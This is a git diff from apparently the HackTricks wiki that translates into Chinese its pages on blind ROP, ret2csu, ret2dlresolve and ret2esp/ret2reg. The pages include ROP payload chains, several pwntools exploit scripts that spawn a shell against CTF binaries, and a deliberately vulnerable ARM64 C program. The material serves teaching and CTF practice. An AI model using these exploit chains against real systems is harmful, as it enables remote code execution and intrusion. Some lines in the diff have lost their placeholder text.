找到strcmp -The **`strcmp`** function sets the register **`rdx`** to the length of the string being compared. Note that **`rdx`** is the **third argument** and we need it to be **bigger than 0** in order to later use `write` to leak the program. +**`strcmp`**函数将寄存器**`rdx`**设置为正在比较的字符串的长度。请注意,**`rdx`**是**第三个参数**,我们需要它**大于0**,以便稍后使用`write`泄露程序。 -It's possible to find the location of **`strcmp`** in the PLT based on its behaviour using the fact that we can now control the 2 first arguments of functions: +可以基于其行为找到**`strcmp`**在PLT中的位置,利用我们现在可以控制函数的前两个参数的事实: -- strcmp(\, \) -> crash -- strcmp(\, \) -> crash -- strcmp(\, \) -> crash -- strcmp(\, \) -> no crash +- strcmp(\<非读取地址>, \<非读取地址>) -> 崩溃 +- strcmp(\<非读取地址>, \<读取地址>) -> 崩溃 +- strcmp(\<读取地址>, \<非读取地址>) -> 崩溃 +- strcmp(\<读取地址>, \<读取地址>) -> 没有崩溃 -It's possible to check for this by calling each entry of the PLT table or by using the **PLT slow path** which basically consist on **calling an entry in the PLT table + 0xb** (which calls to **`dlresolve`**) followed in the stack by the **entry number one wishes to probe** (starting at zero) to scan all PLT entries from the first one: +可以通过调用PLT表的每个条目或使用**PLT慢路径**来检查这一点,后者基本上是**调用PLT表中的一个条目 + 0xb**(这调用**`dlresolve`**),然后在堆栈中跟随**希望探测的条目编号**(从零开始)以扫描所有PLT条目: -- strcmp(\, \) -> crash - - `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Will crash -- strcmp(\, \) -> crash - - `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -- strcmp(\, \) -> no crash - - `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` +- strcmp(\<非读取地址>, \<读取地址>) -> 崩溃 +- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> 将崩溃 +- strcmp(\<读取地址>, \<非读取地址>) -> 崩溃 +- `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` +- strcmp(\<读取地址>, \<读取地址>) -> 没有崩溃 +- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -Remember that: +请记住: -- BROP + 0x7 point to **`pop RSI; pop R15; ret;`** -- BROP + 0x9 point to **`pop RDI; ret;`** -- PLT + 0xb point to a call to **dl_resolve**. +- BROP + 0x7 指向 **`pop RSI; pop R15; ret;`** +- BROP + 0x9 指向 **`pop RDI; ret;`** +- PLT + 0xb 指向对 **dl_resolve**的调用。 -Having found `strcmp` it's possible to set **`rdx`** to a value bigger than 0. +找到`strcmp`后,可以将**`rdx`**设置为大于0的值。 > [!TIP] -> Note that usually `rdx` will host already a value bigger than 0, so this step might not be necesary. +> 请注意,通常`rdx`将已经包含一个大于0的值,因此这一步可能不是必要的。 -### 8. Finding Write or equivalent +### 8. 找到Write或等效函数 -Finally, it's needed a gadget that exfiltrates data in order to exfiltrate the binary. And at this moment it's possible to **control 2 arguments and set `rdx` bigger than 0.** +最后,需要一个小工具来外泄数据,以便外泄二进制文件。在此时,可以**控制2个参数并将`rdx`设置为大于0**。 -There are 3 common funtions taht could be abused for this: +有3个常见的函数可以被滥用: - `puts(data)` - `dprintf(fd, data)` - `write(fd, data, len(data)` -However, the original paper only mentions the **`write`** one, so lets talk about it: +然而,原始论文只提到**`write`**,所以让我们谈谈它: -The current problem is that we don't know **where the write function is inside the PLT** and we don't know **a fd number to send the data to our socket**. +当前的问题是我们不知道**write函数在PLT中的位置**,也不知道**发送数据到我们套接字的fd号**。 -However, we know **where the PLT table is** and it's possible to find write based on its **behaviour**. And we can create **several connections** with the server an d use a **high FD** hoping that it matches some of our connections. +然而,我们知道**PLT表的位置**,并且可以根据其**行为**找到write。我们可以与服务器创建**多个连接**,并使用**高FD**,希望它与我们的某些连接匹配。 -Behaviour signatures to find those functions: +找到这些函数的行为签名: -- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then puts was found -- `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then dprintf was found -- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then write was found +- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> 如果有数据打印,则找到了puts +- `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> 如果有数据打印,则找到了dprintf +- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> 如果有数据打印,则找到了write -## Automatic Exploitation +## 自动利用 - [https://github.com/Hakumarachi/Bropper](https://github.com/Hakumarachi/Bropper) -## References +## 参考文献 -- Original paper: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf) +- 原始论文: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf) - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md b/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md index 73cbb4e58..a5b9c53af 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md @@ -4,18 +4,17 @@ ## -## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Basic Information +## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)基本信息 -**ret2csu** is a hacking technique used when you're trying to take control of a program but can't find the **gadgets** you usually use to manipulate the program's behavior. +**ret2csu** 是一种黑客技术,当你试图控制一个程序但找不到通常用来操纵程序行为的 **gadgets** 时使用。 -When a program uses certain libraries (like libc), it has some built-in functions for managing how different pieces of the program talk to each other. Among these functions are some hidden gems that can act as our missing gadgets, especially one called `__libc_csu_init`. +当一个程序使用某些库(如 libc)时,它有一些内置函数来管理程序不同部分之间的通信。在这些函数中,有一些隐藏的宝石可以作为我们缺失的 gadgets,特别是一个叫 `__libc_csu_init` 的函数。 -### The Magic Gadgets in \_\_libc_csu_init +### \_\_libc_csu_init 中的魔法 Gadgets -In **`__libc_csu_init`**, there are two sequences of instructions (gadgets) to highlight: - -1. The first sequence lets us set up values in several registers (rbx, rbp, r12, r13, r14, r15). These are like slots where we can store numbers or addresses we want to use later. +在 **`__libc_csu_init`** 中,有两个指令序列(gadgets)需要强调: +1. 第一个序列让我们在几个寄存器(rbx, rbp, r12, r13, r14, r15)中设置值。这些就像我们可以存储后续要使用的数字或地址的槽。 ```armasm pop rbx; pop rbp; @@ -25,22 +24,18 @@ pop r14; pop r15; ret; ``` +这个工具允许我们通过将值从栈中弹出到这些寄存器来控制它们。 -This gadget allows us to control these registers by popping values off the stack into them. - -2. The second sequence uses the values we set up to do a couple of things: - - **Move specific values into other registers**, making them ready for us to use as parameters in functions. - - **Perform a call to a location** determined by adding together the values in r15 and rbx, then multiplying rbx by 8. - +2. 第二个序列使用我们设置的值来做几件事: +- **将特定值移动到其他寄存器中**,使它们准备好作为函数中的参数使用。 +- **执行对一个位置的调用**,该位置由将 r15 和 rbx 中的值相加,然后将 rbx 乘以 8 来确定。 ```armasm mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword [r12 + rbx*8]; ``` - -3. Maybe you don't know any address to write there and you **need a `ret` instruction**. Note that the second gadget will also **end in a `ret`**, but you will need to meet some **conditions** in order to reach it: - +3. 也许你不知道要写入哪个地址,并且你**需要一个 `ret` 指令**。请注意,第二个 gadget 也将**以 `ret` 结束**,但你需要满足一些**条件**才能到达它: ```armasm mov rdx, r15; mov rsi, r14; @@ -52,50 +47,46 @@ jnz ... ret ``` +条件将是: -The conditions will be: - -- `[r12 + rbx*8]` must be pointing to an address storing a callable function (if no idea and no pie, you can just use `_init` func): - - If \_init is at `0x400560`, use GEF to search for a pointer in memory to it and make `[r12 + rbx*8]` be the address with the pointer to \_init: - +- `[r12 + rbx*8]` 必须指向一个存储可调用函数的地址(如果没有想法且没有 pie,可以直接使用 `_init` 函数): +- 如果 \_init 在 `0x400560`,使用 GEF 在内存中搜索指向它的指针,并使 `[r12 + rbx*8]` 成为指向 \_init 的指针的地址: ```bash # Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html gef➤ search-pattern 0x400560 [+] Searching '\x60\x05\x40' in memory [+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x - 0x400e38 - 0x400e44 → "\x60\x05\x40[...]" +0x400e38 - 0x400e44 → "\x60\x05\x40[...]" [+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r-- - 0x600e38 - 0x600e44 → "\x60\x05\x40[...]" +0x600e38 - 0x600e44 → "\x60\x05\x40[...]" ``` +- `rbp` 和 `rbx` 必须具有相同的值以避免跳转 +- 有一些被省略的 pops 需要考虑 -- `rbp` and `rbx` must have the same value to avoid the jump -- There are some omitted pops you need to take into account +## RDI 和 RSI -## RDI and RSI - -Another way to control **`rdi`** and **`rsi`** from the ret2csu gadget is by accessing it specific offsets: +从 ret2csu gadget 控制 **`rdi`** 和 **`rsi`** 的另一种方法是通过访问特定的偏移量:

https://www.scs.stanford.edu/brop/bittau-brop.pdf

-Check this page for more info: +查看此页面以获取更多信息: {{#ref}} brop-blind-return-oriented-programming.md {{#endref}} -## Example +## 示例 -### Using the call +### 使用调用 -Imagine you want to make a syscall or call a function like `write()` but need specific values in the `rdx` and `rsi` registers as parameters. Normally, you'd look for gadgets that set these registers directly, but you can't find any. +想象一下,你想要进行系统调用或调用像 `write()` 这样的函数,但需要在 `rdx` 和 `rsi` 寄存器中具有特定的值作为参数。通常,你会寻找直接设置这些寄存器的 gadgets,但你找不到任何。 -Here's where **ret2csu** comes into play: +这时 **ret2csu** 就派上用场了: -1. **Set Up the Registers**: Use the first magic gadget to pop values off the stack and into rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), and r15. -2. **Use the Second Gadget**: With those registers set, you use the second gadget. This lets you move your chosen values into `rdx` and `rsi` (from r14 and r13, respectively), readying parameters for a function call. Moreover, by controlling `r15` and `rbx`, you can make the program call a function located at the address you calculate and place into `[r15 + rbx*8]`. - -You have an [**example using this technique and explaining it here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), and this is the final exploit it used: +1. **设置寄存器**:使用第一个魔法 gadget 从栈中弹出值并放入 rbx、rbp、r12(edi)、r13(rsi)、r14(rdx)和 r15。 +2. **使用第二个 gadget**:在这些寄存器设置好后,使用第二个 gadget。这使你能够将所选值移动到 `rdx` 和 `rsi`(分别来自 r14 和 r13),为函数调用准备参数。此外,通过控制 `r15` 和 `rbx`,你可以使程序调用位于你计算并放入 `[r15 + rbx*8]` 地址的函数。 +你有一个 [**使用此技术并在此处解释的示例**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation),这是它使用的最终利用: ```python from pwn import * @@ -119,14 +110,12 @@ p.sendlineafter('me\n', rop.chain()) p.sendline(p64(elf.sym['win'])) # send to gets() so it's written print(p.recvline()) # should receive "Awesome work!" ``` - > [!WARNING] -> Note that the previous exploit isn't meant to do a **`RCE`**, it's meant to just call a function called **`win`** (taking the address of `win` from stdin calling gets in the ROP chain and storing it in r15) with a third argument with the value `0xdeadbeefcafed00d`. +> 请注意,之前的漏洞并不是为了实现 **`RCE`**,而只是为了调用一个名为 **`win`** 的函数(从标准输入调用 gets 获取 `win` 的地址并将其存储在 r15 中),并带有一个值为 `0xdeadbeefcafed00d` 的第三个参数。 -### Bypassing the call and reaching ret - -The following exploit was extracted [**from this page**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) where the **ret2csu** is used but instead of using the call, it's **bypassing the comparisons and reaching the `ret`** after the call: +### 绕过调用并到达 ret +以下漏洞是从 [**此页面**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) 提取的,其中使用了 **ret2csu**,但不是使用调用,而是 **绕过比较并到达 `ret`** 在调用之后: ```python # Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html # This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/ @@ -176,9 +165,8 @@ payload += ret2win target.sendline(payload) target.interactive() ``` +### 为什么不直接使用libc? -### Why Not Just Use libc Directly? - -Usually these cases are also vulnerable to [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), but sometimes you need to control more parameters than are easily controlled with the gadgets you find directly in libc. For example, the `write()` function requires three parameters, and **finding gadgets to set all these directly might not be possible**. +通常这些情况也容易受到 [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/) 的攻击,但有时你需要控制比直接在libc中找到的gadgets更复杂的参数。例如,`write()` 函数需要三个参数,而 **直接找到设置所有这些的gadgets可能是不可能的**。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md index 1fc2ea86a..6691e3599 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md @@ -2,38 +2,37 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本信息 -As explained in the page about [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) and [**Relro**](../common-binary-protections-and-bypasses/relro.md), binaries without Full Relro will resolve symbols (like addresses to external libraries) the first time they are used. This resolution occurs calling the function **`_dl_runtime_resolve`**. +正如在关于 [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) 和 [**Relro**](../common-binary-protections-and-bypasses/relro.md) 的页面中所解释的,缺少完整 Relro 的二进制文件在第一次使用时会解析符号(如外部库的地址)。这种解析通过调用函数 **`_dl_runtime_resolve`** 进行。 -The **`_dl_runtime_resolve`** function takes from the stack references to some structures it needs in order to **resolve** the specified symbol. +**`_dl_runtime_resolve`** 函数从栈中获取对一些它需要的结构的引用,以便 **解析** 指定的符号。 -Therefore, it's possible to **fake all these structures** to make the dynamic linked resolving the requested symbol (like **`system`** function) and call it with a configured parameter (e.g. **`system('/bin/sh')`**). +因此,可以 **伪造所有这些结构** 以使动态链接解析请求的符号(如 **`system`** 函数)并使用配置的参数调用它(例如 **`system('/bin/sh')`**)。 -Usually, all these structures are faked by making an **initial ROP chain that calls `read`** over a writable memory, then the **structures** and the string **`'/bin/sh'`** are passed so they are stored by read in a known location, and then the ROP chain continues by calling **`_dl_runtime_resolve`** , having it **resolve the address of `system`** in the fake structures and **calling this address** with the address to `$'/bin/sh'`. +通常,所有这些结构都是通过制作一个 **初始 ROP 链来调用 `read`** 在可写内存上,然后将 **结构** 和字符串 **`'/bin/sh'`** 传递,以便它们被读取存储在已知位置,然后 ROP 链继续通过调用 **`_dl_runtime_resolve`**,使其 **解析 `system` 的地址** 在伪造的结构中,并 **使用 `$'/bin/sh'` 的地址调用该地址**。 > [!TIP] -> This technique is useful specially if there aren't syscall gadgets (to use techniques such as [**ret2syscall**](rop-syscall-execv/) or [SROP](srop-sigreturn-oriented-programming/)) and there are't ways to leak libc addresses. +> 如果没有 syscall gadgets(使用诸如 [**ret2syscall**](rop-syscall-execv/) 或 [SROP](srop-sigreturn-oriented-programming/) 等技术),并且没有方法泄漏 libc 地址,这种技术特别有用。 -Chek this video for a nice explanation about this technique in the second half of the video: +查看这个视频,了解该技术在视频后半部分的精彩解释: {% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %} -Or check these pages for a step-by-step explanation: +或者查看这些页面以获取逐步解释: - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works) - [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures) -## Attack Summary +## 攻击总结 -1. Write fake estructures in some place -2. Set the first argument of system (`$rdi = &'/bin/sh'`) -3. Set on the stack the addresses to the structures to call **`_dl_runtime_resolve`** -4. **Call** `_dl_runtime_resolve` -5. **`system`** will be resolved and called with `'/bin/sh'` as argument - -From the [**pwntools documentation**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), this is how a **`ret2dlresolve`** attack look like: +1. 在某个地方写入伪造的结构 +2. 设置 system 的第一个参数 (`$rdi = &'/bin/sh'`) +3. 在栈上设置调用 **`_dl_runtime_resolve`** 的结构地址 +4. **调用** `_dl_runtime_resolve` +5. **`system`** 将被解析并以 `'/bin/sh'` 作为参数调用 +根据 [**pwntools 文档**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html),这就是 **`ret2dlresolve`** 攻击的样子: ```python context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64')) >>> rop = ROP(elf) @@ -53,13 +52,11 @@ context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64')) 0x0040: 0x4003e0 [plt_init] system 0x0048: 0x15670 [dlresolve index] ``` +## 示例 -## Example - -### Pure Pwntools - -You can find an [**example of this technique here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **containing a very good explanation of the final ROP chain**, but here is the final exploit used: +### 纯 Pwntools +您可以在[**此处找到此技术的示例**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **包含对最终 ROP 链的非常好的解释**,但这里是使用的最终利用代码: ```python from pwn import * @@ -81,9 +78,7 @@ p.sendline(dlresolve.payload) # now the read is called and we pass all the re p.interactive() ``` - -### Raw - +### 原始 ```python # Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html # This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack @@ -186,12 +181,11 @@ target.send(paylaod2) # Enjoy the shell! target.interactive() ``` - -## Other Examples & References +## 其他示例与参考 - [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared) - [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve) - [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html) - - 32bit, no relro, no canary, nx, no pie, basic small buffer overflow and return. To exploit it the bof is used to call `read` again with a `.bss` section and a bigger size, to store in there the `dlresolve` fake tables to load `system`, return to main and re-abuse the initial bof to call dlresolve and then `system('/bin/sh')`. +- 32位,无relro,无canary,nx,无pie,基本的小缓冲区溢出和返回。为了利用它,bof被用来再次调用`read`,使用一个`.bss`段和更大的大小,将`dlresolve`伪表存储在其中,以加载`system`,返回到main并重新利用初始bof调用dlresolve,然后`system('/bin/sh')`。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md index 868f6ffa5..cac1e234c 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md @@ -4,27 +4,24 @@ ## **Ret2esp** -**Because the ESP (Stack Pointer) always points to the top of the stack**, this technique involves replacing the EIP (Instruction Pointer) with the address of a **`jmp esp`** or **`call esp`** instruction. By doing this, the shellcode is placed right after the overwritten EIP. When the `ret` instruction executes, ESP points to the next address, precisely where the shellcode is stored. +**因为 ESP(栈指针)始终指向栈的顶部**,该技术涉及用 **`jmp esp`** 或 **`call esp`** 指令的地址替换 EIP(指令指针)。通过这样做,shellcode 被放置在被覆盖的 EIP 之后。当 `ret` 指令执行时,ESP 指向下一个地址,正好是存储 shellcode 的地方。 -If **Address Space Layout Randomization (ASLR)** is not enabled in Windows or Linux, it's possible to use `jmp esp` or `call esp` instructions found in shared libraries. However, with [**ASLR**](../common-binary-protections-and-bypasses/aslr/) active, one might need to look within the vulnerable program itself for these instructions (and you might need to defeat [**PIE**](../common-binary-protections-and-bypasses/pie/)). +如果 **地址空间布局随机化(ASLR)** 在 Windows 或 Linux 中未启用,可以使用在共享库中找到的 `jmp esp` 或 `call esp` 指令。然而,当 [**ASLR**](../common-binary-protections-and-bypasses/aslr/) 激活时,可能需要在易受攻击的程序内部查找这些指令(并且可能需要击败 [**PIE**](../common-binary-protections-and-bypasses/pie/))。 -Moreover, being able to place the shellcode **after the EIP corruption**, rather than in the middle of the stack, ensures that any `push` or `pop` instructions executed during the function's operation don't interfere with the shellcode. This interference could happen if the shellcode were placed in the middle of the function's stack. +此外,能够将 shellcode **放置在 EIP 损坏之后**,而不是在栈的中间,确保在函数操作期间执行的任何 `push` 或 `pop` 指令不会干扰 shellcode。如果 shellcode 被放置在函数栈的中间,可能会发生这种干扰。 -### Lacking space - -If you are lacking space to write after overwriting RIP (maybe just a few bytes), write an initial **`jmp`** shellcode like: +### 缺乏空间 +如果在覆盖 RIP 后缺乏写入空间(可能只有几个字节),可以写一个初始的 **`jmp`** shellcode,如: ```armasm sub rsp, 0x30 jmp rsp ``` +在栈的早期写入 shellcode。 -And write the shellcode early in the stack. - -### Example - -You can find an example of this technique in [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) with a final exploit like: +### 示例 +您可以在 [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) 中找到此技术的示例,最终利用如下: ```python from pwn import * @@ -36,17 +33,15 @@ jmp_rsp = next(elf.search(asm('jmp rsp'))) payload = b'A' * 120 payload += p64(jmp_rsp) payload += asm(''' - sub rsp, 10; - jmp rsp; +sub rsp, 10; +jmp rsp; ''') pause() p.sendlineafter('RSP!\n', payload) p.interactive() ``` - -You can see another example of this technique in [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html). There is a buffer overflow without NX enabled, it's used a gadget to r**educe the address of `$esp`** and then a `jmp esp;` to jump to the shellcode: - +您可以在 [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html) 中看到此技术的另一个示例。这里有一个没有启用 NX 的缓冲区溢出,使用了一个 gadget 来 **减少 `$esp` 的地址**,然后使用 `jmp esp;` 跳转到 shellcode: ```python # From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html from pwn import * @@ -81,47 +76,41 @@ target.sendline(payload) # Drop to an interactive shell target.interactive() ``` - ## Ret2reg -Similarly, if we know a function returns the address where the shellcode is stored, we can leverage **`call eax`** or **`jmp eax`** instructions (known as **ret2eax** technique), offering another method to execute our shellcode. Just like eax, **any other register** containing an interesting address could be used (**ret2reg**). +类似地,如果我们知道一个函数返回存储 shellcode 的地址,我们可以利用 **`call eax`** 或 **`jmp eax`** 指令(称为 **ret2eax** 技术),提供另一种执行我们的 shellcode 的方法。就像 eax 一样,**任何其他寄存器** 中包含有趣地址的寄存器都可以使用(**ret2reg**)。 -### Example +### 示例 -You can find some examples here: +您可以在这里找到一些示例: - [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg) - [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c) - - **`strcpy`** will be store in **`eax`** the address of the buffer where the shellcode was stored and **`eax`** isn't being overwritten, so it's possible use a `ret2eax`. +- **`strcpy`** 将在 **`eax`** 中存储 shellcode 所在缓冲区的地址,并且 **`eax`** 没有被覆盖,因此可以使用 `ret2eax`。 ## ARM64 ### Ret2sp -In ARM64 there **aren't** instructions allowing to **jump to the SP registry**. It might be possible to find a gadget that **moves sp to a registry and then jumps to that registry**, but in the libc of my kali I couldn't find any gadget like that: - +在 ARM64 中,**没有** 指令允许 **跳转到 SP 寄存器**。可能找到一个 **将 sp 移动到一个寄存器然后跳转到该寄存器** 的 gadget,但在我的 kali 的 libc 中我找不到这样的 gadget: ```bash for i in `seq 1 30`; do - ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)"; +ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)"; done ``` - -The only ones I discovered would change the value of the registry where sp was copied before jumping to it (so it would become useless): +我发现的唯一方法是更改在跳转到 sp 之前复制的寄存器的值(这样它就变得无用):
### Ret2reg -If a registry has an interesting address it's possible to jump to it just finding the adequate instruction. You could use something like: - +如果一个寄存器有一个有趣的地址,可以通过找到合适的指令跳转到它。你可以使用类似于: ```bash ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?"; ``` +在ARM64中,**`x0`** 存储函数的返回值,因此可能是 x0 存储了一个由用户控制的缓冲区的地址,该缓冲区包含要执行的 shellcode。 -In ARM64, it's **`x0`** who stores the return value of a function, so it could be that x0 stores the address of a buffer controlled by the user with a shellcode to execute. - -Example code: - +示例代码: ```c // clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack @@ -129,34 +118,32 @@ Example code: #include void do_stuff(int do_arg){ - if (do_arg == 1) - __asm__("br x0"); - return; +if (do_arg == 1) +__asm__("br x0"); +return; } char* vulnerable_function() { - char buffer[64]; - fgets(buffer, sizeof(buffer)*3, stdin); - return buffer; +char buffer[64]; +fgets(buffer, sizeof(buffer)*3, stdin); +return buffer; } int main(int argc, char **argv) { - char* b = vulnerable_function(); - do_stuff(2) - return 0; +char* b = vulnerable_function(); +do_stuff(2) +return 0; } ``` - -Checking the disassembly of the function it's possible to see that the **address to the buffer** (vulnerable to bof and **controlled by the user**) is **stored in `x0`** before returning from the buffer overflow: +检查函数的反汇编,可以看到**缓冲区的地址**(易受bof攻击且**由用户控制**)在从缓冲区溢出返回之前**存储在`x0`中**:
-It's also possible to find the gadget **`br x0`** in the **`do_stuff`** function: +在**`do_stuff`**函数中也可以找到**`br x0`**这个小工具:
-We will use that gadget to jump to it because the binary is compile **WITHOUT PIE.** Using a pattern it's possible to see that the **offset of the buffer overflow is 80**, so the exploit would be: - +我们将使用这个小工具跳转到它,因为二进制文件是**在没有PIE的情况下编译的**。使用模式可以看到**缓冲区溢出的偏移量是80**,所以利用的方式将是: ```python from pwn import * @@ -171,17 +158,16 @@ payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0 p.sendline(payload) p.interactive() ``` - > [!WARNING] -> If instead of `fgets` it was used something like **`read`**, it would have been possible to bypass PIE also by **only overwriting the last 2 bytes of the return address** to return to the `br x0;` instruction without needing to know the complete address.\ -> With `fgets` it doesn't work because it **adds a null (0x00) byte at the end**. +> 如果不是使用 `fgets` 而是使用类似 **`read`** 的函数,那么只需 **覆盖返回地址的最后两个字节** 就可以绕过 PIE,返回到 `br x0;` 指令,而无需知道完整地址。\ +> 使用 `fgets` 不行,因为它 **在末尾添加了一个空字节 (0x00)**。 -## Protections +## 保护措施 -- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): If the stack isn't executable this won't help as we need to place the shellcode in the stack and jump to execute it. -- 